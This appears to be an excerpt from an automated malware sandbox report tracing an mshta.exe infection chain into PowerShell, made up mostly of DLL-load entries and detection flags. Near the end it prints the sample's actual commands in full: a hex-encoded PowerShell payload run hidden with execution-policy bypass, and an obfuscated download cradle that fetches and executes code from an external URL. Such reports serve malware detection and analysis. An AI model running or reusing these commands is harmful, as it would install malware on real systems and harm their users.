Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 6.2.powershell.exe.d461e90.2.raw.unpack, ---.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 6.2.powershell.exe.8fa0000.1.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 6.2.powershell.exe.8fa0000.1.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 6.2.powershell.exe.8fa0000.1.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 6.2.powershell.exe.8fa0000.1.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 6.2.powershell.exe.8fa0000.1.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($Z));$ByteStRIng = $ENC.$ASk1r0SzJ9w7hlI1lzDwd6IqFQAkaVGMEN1fkiV4kcfSFvzFnWv14rftd4lwO5cHUNH3qIAY2a68CgayXC47vIBwZWbOUQJsQcXG2eyiTBO0zFKHSgnE4NhjKtZuMdEAok03qz8HjbVZUM6zPeez4UzgGWAwOd

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF880C62CFC91A641624C5D3BBD2FC8D663749EC8640E19E84846FD13EBD37FE167ECAADF42A3A5F25585727DE5C37C223ECF8D8B397DCD90774ADCB0FD58898F52117E75CF08D8FF61DB1811D9B84EFF315D837D713331AFE66E19BFD84FF8BA54B199FCB0269CBE56507C12EA8637FEA0A67B6D12314008A1A25D934DBDC48FA684F23E9C501CDA3D6EDD7E1DB27877FEBE1B1434E17BC899F36D51BA739F6507615383E3B76DC4DA7CF7DB096F71CD34EF427E409688C24F8BB3BD0F3DB16EAABE36CD48798812B320FEA85CA4F71867DC6D48582D5777965011C7B4801FB2CDB18E83428C7808F638DAAF946C009B3F07F09FF06C12C76831DD7747D232DFD24FB9801CADBFD5E5EC908A1E51EC88CDE84AF039CE48EFE74A558CA4CBD92F3BCFA89B2AA00759AF0A0859F3F4ED35DBE2626C1F3844FACFBE69C3AF62DE312661FA0A1C9EF460D20A5D199852B92C4883BFF88E5B2F1FDABA90D71163E5DDB1A17351D3D569C380BD9B27019E63CAD3FBC9C1BF7848CF286360E4C58DC0982C67C6AEF5785616C9877FDCC9B73B1A787A21FBB8F5F7E06CCEF0CBA53610C8E0459F28EE99160390976D4765E779A2A809EC1AB4F2D73A45E246DFF920777B514611903535C5ED407ADDBF093B0601148111BDF803C8B56E525FA9858F48A247B21967016E863E2168D3C4E89C41F15B44CEDBF3C30A49DB22F27A6E8D16F4FDB02943C76ACD372022387AC294C26B60DAF5F676870DAA3C0FB0B090D7996806834504CCE1C17B4E8229467DA457082CAF7F79AC294EB12BF534C76E52C69F0E157B56FD8069B76BDB2EED8385CD903FA7A13DA82CDBF4E8A8CF38A0A2E5F4242E1C26E5BCB6F3AF8E2445C1B494CCB5C69DC58B7746F0C79D2DA716530BDCA02459C015DBB2ABEA4BECB26097E41CE2FBD300A920FD18318366C5D4B7A04C833A236496C4C8A6188EE9A72760FA54EB5221B2960085B7A18CBB9E11E7CC4689666D213681E9A7D41F02061038A45FF0FE8EBBC097E9B2E8CAC4EDF3BF43758115832CE1E28283D795091E9DAAAC752BD4A4516CE6DDB72B53E8186CA1A4D77D156AFBE03BE987790E9776784A6E70627F727ED765D7F51E83778A499E2FF2CD51DA0DBFD933914AEF22FD2CDEAEB1305C5570317DB8D7475A9AD738EBF387927CED9E50E2B520DD916ED2A173D9E003B4C8EF8F37E793194E4E01D9D0CF44488AFE08088233788987E7EF92C4EA59C09AE3C6978D85B80137C2B4DC42B109F4299AB74B6133D2390EB63B68D01047C56B1C0BAD51059ED21678A8D190F8061EF4644822357A50DF94B8A4E44A6420B241971988F3D27094F5CC39FE50EFB4536F7FF84CB61206C5799806EE78F9E92132F0629C8062B57966710BDE9EF5D86960E07F6CAC367FC1C647D09612B8C1B9FCADAD251FDD08F3143C2A62095850DE26FAB05330A6052FC0C7B88A7633F8EB38E499149753BB3838C0CFCDFD806F53E3DF94F3B82207E016C20A230EA548FAAA34253FDA1400710D76D7406BAE6A40B73B79AD689C21A5D886E4AF2806C14F3364355409B48AF74043DA8F661C1504E41E526A00634CB7BE67747BCECEB4FDFBB3CAB9FA8A9889564D5F64BEF7D5626DA881E86F66
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF880C62CFC91A641624C5D3BBD2FC8D663749EC8640E19E84846FD13EBD37FE167ECAADF42A3A5F25585727DE5C37C223ECF8D8B397DCD90774ADCB0FD58898F52117E75CF08D8FF61DB1811D9B84EFF315D837D713331AFE66E19BFD84FF8BA54B199FCB0269CBE56507C12EA8637FEA0A67B6D12314008A1A25D934DBDC48FA684F23E9C501CDA3D6EDD7E1DB27877FEBE1B1434E17BC899F36D51BA739F6507615383E3B76DC4DA7CF7DB096F71CD34EF427E409688C24F8BB3BD0F3DB16EAABE36CD48798812B320FEA85CA4F71867DC6D48582D5777965011C7B4801FB2CDB18E83428C7808F638DAAF946C009B3F07F09FF06C12C76831DD7747D232DFD24FB9801CADBFD5E5EC908A1E51EC88CDE84AF039CE48EFE74A558CA4CBD92F3BCFA89B2AA00759AF0A0859F3F4ED35DBE2626C1F3844FACFBE69C3AF62DE312661FA0A1C9EF460D20A5D199852B92C4883BFF88E5B2F1FDABA90D71163E5DDB1A17351D3D569C380BD9B27019E63CAD3FBC9C1BF7848CF286360E4C58DC0982C67C6AEF5785616C9877FDCC9B73B1A787A21FBB8F5F7E06CCEF0CBA53610C8E0459F28EE99160390976D4765E779A2A809EC1AB4F2D73A45E246DFF920777B514611903535C5ED407ADDBF093B0601148111BDF803C8B56E525FA9858F48A247B21967016E863E2168D3C4E89C41F15B44CEDBF3C30A49DB22F27A6E8D16F4FDB02943C76ACD372022387AC294C26B60DAF5F676870DAA3C0FB0B090D7996806834504CCE1C17B4E8229467DA457082CAF7F79AC294EB12BF534C76E52C69F0E157B56FD8069B76BDB2EED8385CD903FA7A13DA82CDBF4E8A8CF38A0A2E5F4242E1C26E5BCB6F3AF8E2445C1B494CCB5C69DC58B7746F0C79D2DA716530BDCA02459C015DBB2ABEA4BECB26097E41CE2FBD300A920FD18318366C5D4B7A04C833A236496C4C8A6188EE9A72760FA54EB5221B2960085B7A18CBB9E11E7CC4689666D213681E9A7D41F02061038A45FF0FE8EBBC097E9B2E8CAC4EDF3BF43758115832CE1E28283D795091E9DAAAC752BD4A4516CE6DDB72B53E8186CA1A4D77D156AFBE03BE987790E9776784A6E70627F727ED765D7F51E83778A499E2FF2CD51DA0DBFD933914AEF22FD2CDEAEB1305C5570317DB8D7475A9AD738EBF387927CED9E50E2B520DD916ED2A173D9E003B4C8EF8F37E793194E4E01D9D0CF44488AFE08088233788987E7EF92C4EA59C09AE3C6978D85B80137C2B4DC42B109F4299AB74B6133D2390EB63B68D01047C56B1C0BAD51059ED21678A8D190F8061EF4644822357A50DF94B8A4E44A6420B241971988F3D27094F5CC39FE50EFB4536F7FF84CB61206C5799806EE78F9E92132F0629C8062B57966710BDE9EF5D86960E07F6CAC367FC1C647D09612B8C1B9FCADAD251FDD08F3143C2A62095850DE26FAB05330A6052FC0C7B88A7633F8EB38E499149753BB3838C0CFCDFD806F53E3DF94F3B82207E016C20A230EA548FAAA34253FDA1400710D76D7406BAE6A40B73B79AD689C21A5D886E4AF2806C14F3364355409B48AF74043DA8F661C1504E41E526A00634CB7BE67747BCECEB4FDFBB3CAB9FA8A9889564D5F64BEF7D5626DA881E86F66	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()	Jump to behavior

Yara detected Costura Assembly Loader

Source: Yara match	File source: 6.2.powershell.exe.7890000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2722035542.0000000007890000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04C74960 push 38083A51h; ret	4_2_04C74A55
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04C74A48 push 38083A51h; ret	4_2_04C74A55
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04F0C184 push ds; iretd	6_2_04F0C223
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04F0C135 push cs; iretd	6_2_04F0C15B
